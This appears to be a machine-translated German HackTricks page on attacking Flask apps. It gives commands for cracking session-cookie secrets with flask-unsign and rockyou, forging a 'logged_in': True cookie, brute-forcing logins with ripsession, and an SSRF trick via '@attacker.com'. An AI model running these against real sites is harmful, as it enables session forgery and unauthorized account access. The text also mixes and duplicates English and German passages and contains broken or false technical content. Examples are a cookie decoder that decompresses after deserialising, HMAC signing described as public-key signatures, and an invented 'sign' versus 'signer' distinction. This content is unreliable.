9.8 KiB
Flask
Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.
Verwenden Sie Trickest, um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Erhalten Sie noch heute Zugriff:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Wahrscheinlich ist eine Flask-Anwendung in einem CTF mit SSTI** verbunden.**
Cookies
Der Standardname für die Sitzungs-Cookie ist session
.
Decoder
Online Flask-Cookie-Decoder: https://www.kirsle.net/wizards/flask-session.cgi
Manuell
Holen Sie sich den ersten Teil des Cookies bis zum ersten Punkt und decodieren Sie ihn mit Base64:
echo "ImhlbGxvIg" | base64 -d
Der Cookie wird auch mit einem Passwort signiert
Flask-Unsign
Befehlszeilentool zum Abrufen, Decodieren, Brute-Forcen und Erstellen von Sitzungscookies einer Flask-Anwendung durch das Raten von geheimen Schlüsseln.
{% embed url="https://pypi.org/project/flask-unsign/" %}
pip3 install flask-unsign
Cookie entschlüsseln
To decode a Flask session cookie, you can use the itsdangerous
library. The session cookie is usually named session
and is base64 encoded. The decoded cookie contains a serialized JSON object with the session data.
import base64
import zlib
import json
from itsdangerous import URLSafeTimedSerializer
def decode_flask_cookie(secret_key, cookie_value):
signer = URLSafeTimedSerializer(secret_key)
try:
decoded_data = signer.loads(cookie_value)
decompressed_data = zlib.decompress(base64.b64decode(decoded_data))
session_data = json.loads(decompressed_data)
return session_data
except Exception as e:
print(f"Error decoding cookie: {e}")
return None
To use this function, you need to provide the secret key used to sign the cookie and the value of the cookie itself. The function will return the decoded session data as a Python dictionary.
secret_key = "your_secret_key"
cookie_value = "your_cookie_value"
decoded_session = decode_flask_cookie(secret_key, cookie_value)
print(decoded_session)
Remember to replace "your_secret_key"
with the actual secret key used by the Flask application and "your_cookie_value"
with the value of the session cookie you want to decode.
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
Brute Force
Brute Force ist eine Methode, bei der ein Angreifer systematisch alle möglichen Kombinationen von Benutzernamen und Passwörtern ausprobiert, um Zugriff auf ein System zu erlangen. Diese Methode kann verwendet werden, um die Sicherheit von Webanwendungen zu testen, indem sie versucht, sich mit verschiedenen Kombinationen von Anmeldeinformationen anzumelden. Es ist wichtig zu beachten, dass Brute Force-Angriffe zeitaufwändig sein können und dass die Erfolgschancen von Faktoren wie der Länge und Komplexität der Passwörter abhängen. Es wird empfohlen, starke Passwörter zu verwenden und Sicherheitsmaßnahmen wie Kontosperrungen nach einer bestimmten Anzahl von fehlgeschlagenen Anmeldeversuchen zu implementieren, um Brute Force-Angriffe zu erschweren.
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
Signierung
The signing process ensures the integrity and authenticity of data. It involves using a private key to generate a digital signature, which can be verified using the corresponding public key. This ensures that the data has not been tampered with and that it originated from the expected source.
Die Signierung stellt die Integrität und Authentizität von Daten sicher. Dabei wird ein privater Schlüssel verwendet, um eine digitale Signatur zu generieren, die mithilfe des entsprechenden öffentlichen Schlüssels überprüft werden kann. Dadurch wird sichergestellt, dass die Daten nicht manipuliert wurden und von der erwarteten Quelle stammen.
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
Signieren mit veralteten (alten Versionen)
In einigen älteren Versionen von Flask wurde die Signaturfunktion sign
verwendet, um Daten zu signieren. Diese Funktion ist jedoch anfällig für verschiedene Angriffe und sollte nicht mehr verwendet werden. Stattdessen sollte die sicherere Funktion signer
verwendet werden, die in neueren Versionen von Flask verfügbar ist.
Um die signer
-Funktion zu verwenden, müssen Sie zuerst ein Signierungsobjekt erstellen. Dies kann mit dem itsdangerous
-Modul erfolgen, das in Flask enthalten ist. Verwenden Sie den folgenden Code, um ein Signierungsobjekt zu erstellen:
from itsdangerous import URLSafeTimedSerializer
secret_key = "geheimeschluessel"
signer = URLSafeTimedSerializer(secret_key)
Sobald Sie das Signierungsobjekt erstellt haben, können Sie die dumps
-Methode verwenden, um Daten zu signieren, und die loads
-Methode, um die signierten Daten zu überprüfen und wiederherzustellen. Hier ist ein Beispiel, wie Sie die dumps
- und loads
-Methoden verwenden können:
data = "zu signierende daten"
signed_data = signer.dumps(data)
restored_data = signer.loads(signed_data)
Stellen Sie sicher, dass Sie den geheimen Schlüssel sicher aufbewahren und nicht in öffentlichen Repositories oder in der Produktionsumgebung speichern.
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
RIPsession
Befehlszeilentool zum Brute-Forcen von Websites unter Verwendung von mit flask-unsign erstellten Cookies.
{% embed url="https://github.com/Tagvi/ripsession" %}
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
SQLi in Flask Session-Cookie mit SQLmap
Dieses Beispiel verwendet die sqlmap eval
-Option, um automatisch sqlmap-Payloads für Flask mit einem bekannten Geheimnis zu signieren.
Flask-Proxy zu SSRF
In diesem Artikel wird erklärt, wie Flask eine Anfrage zulässt, die mit dem Zeichen "@" beginnt:
GET @/ HTTP/1.1
Host: target.com
Connection: close
Welches Szenario ist in folgendem Fall gegeben:
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
Es könnte ermöglichen, etwas wie "@attacker.com" einzuführen, um einen SSRF zu verursachen.
Verwenden Sie Trickest, um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Erhalten Sie noch heute Zugriff:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.